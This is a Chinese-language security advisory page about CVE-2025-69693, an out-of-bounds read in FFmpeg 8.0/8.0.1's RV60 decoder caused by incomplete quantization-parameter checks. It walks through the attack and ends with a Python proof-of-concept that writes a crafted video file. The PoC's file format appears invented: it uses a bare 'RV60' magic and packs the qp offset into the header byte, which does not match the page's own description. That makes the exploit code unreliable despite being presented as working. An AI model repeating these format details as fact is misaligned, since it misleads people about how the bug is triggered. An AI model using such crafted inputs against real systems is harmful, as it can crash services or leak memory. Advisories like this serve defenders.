IPBUF安全漏洞报告
English
CVE-2025-69693 CVSS 5.4 中危

CVE-2025-69693: FFmpeg RV60解码器量化参数验证缺陷导致越界读取

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2025-69693
漏洞类型
缓冲区溢出/越界读取
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
FFmpeg

相关标签

缓冲区溢出越界读取FFmpegRV60解码器视频处理CVE-2025-69693内存泄露libavcodec

漏洞概述

CVE-2025-69693是FFmpeg 8.0和8.0.1版本中RV60视频解码器的安全漏洞。该漏洞位于libavcodec/rv60dec.c文件中,由于量化参数(qp)的验证机制不完整导致。攻击者可以通过构造恶意RV60视频文件触发越界读取,可能造成内存信息泄露或程序崩溃。此漏洞需要用户交互才能触发,攻击复杂度较低,对机密性有轻微影响。

技术细节

漏洞根源在于libavcodec/rv60dec.c第2267行的qp(量化参数)验证逻辑。该代码仅检查qp < 0的下界条件,但完全缺失上界验证。正常情况下qp值范围应为0-63,但攻击者可通过构造特殊视频文件使qp值达到65(基础值63来自6位帧头+偏移量+2来自read_qp_offset)。当qp值为64或65时,访问rv60_qp_to_idx数组(大小为64,有效索引0-63)会导致越界读取。受影响的代码路径包括:decode_cbp8函数(第1554行)、decode_cbp16函数(第1655行)、get_c4x4_set函数(第1419/1421行)。此前commit 61cbcaf93f的修复仅针对帧内(intra)帧添加了验证,未覆盖所有场景。修复版本为commit 8abeb879df,将包含在FFmpeg 8.1中。

攻击链分析

STEP 1
步骤1
攻击者创建恶意RV60视频文件,构造超范围的量化参数(qp=65)触发越界条件
STEP 2
步骤2
受害者使用FFmpeg 8.0/8.0.1处理该恶意视频文件
STEP 3
步骤3
FFmpeg解码器解析帧头,qp_offset使qp值达到65,超过数组边界64
STEP 4
步骤4
在decode_cbp8/decode_cbp16/get_c4x4_set函数中访问rv60_qp_to_idx[65]导致越界读取
STEP 5
步骤5
越界读取可能泄露相邻内存内容或触发崩溃,实现内存信息泄露或拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct def create_malicious_rv60(): """Generate PoC for CVE-2025-69693 - FFmpeg RV60 qp validation bypass""" # RV60 frame header structure header = bytearray() # Frame type: Intra frame (1) or Inter frame (0) frame_type = 0x00 # Inter frame - bypasses previous partial fix # 6-bit base qp value (0-63 valid, set to max to trigger overflow) base_qp = 0x3F # 63 in 6 bits # QP offset field (adds +1 to +2 to base qp) qp_offset = 0x02 # This makes effective qp = 63 + 2 = 65 (> 64) # Construct malicious frame header header_byte = (base_qp & 0x3F) | ((qp_offset & 0x03) << 6) header.append(header_byte) header.append(frame_type) # Add padding to reach vulnerable code paths header.extend(b'\x00' * 100) # File format: RV60 video container with open('CVE-2025-69693-poc.rv60', 'wb') as f: # RV60 container header f.write(b'RV60') # Magic number f.write(struct.pack('<I', 1)) # Version f.write(struct.pack('<I', len(header))) # Frame size f.write(header) print(f"PoC file created: CVE-2025-69693-poc.rv60") print(f"QP value will be: {base_qp} + {qp_offset} = {base_qp + qp_offset}") print(f"Array size: 64, causing out-of-bounds access at index {base_qp + qp_offset}") if __name__ == '__main__': create_malicious_rv60() print("\nUsage: Process this file with FFmpeg 8.0/8.0.1 to trigger vulnerability")

影响范围

FFmpeg 8.0 (released 2025-08-22)
FFmpeg 8.0.1 (released 2025-11-20)

防御指南

临时缓解措施
暂无有效的临时缓解措施。建议立即升级FFmpeg至8.1版本,或应用官方提供的安全补丁。如无法立即升级,应避免处理来源不明的RV60格式视频文件,并监控系统日志以检测异常崩溃行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表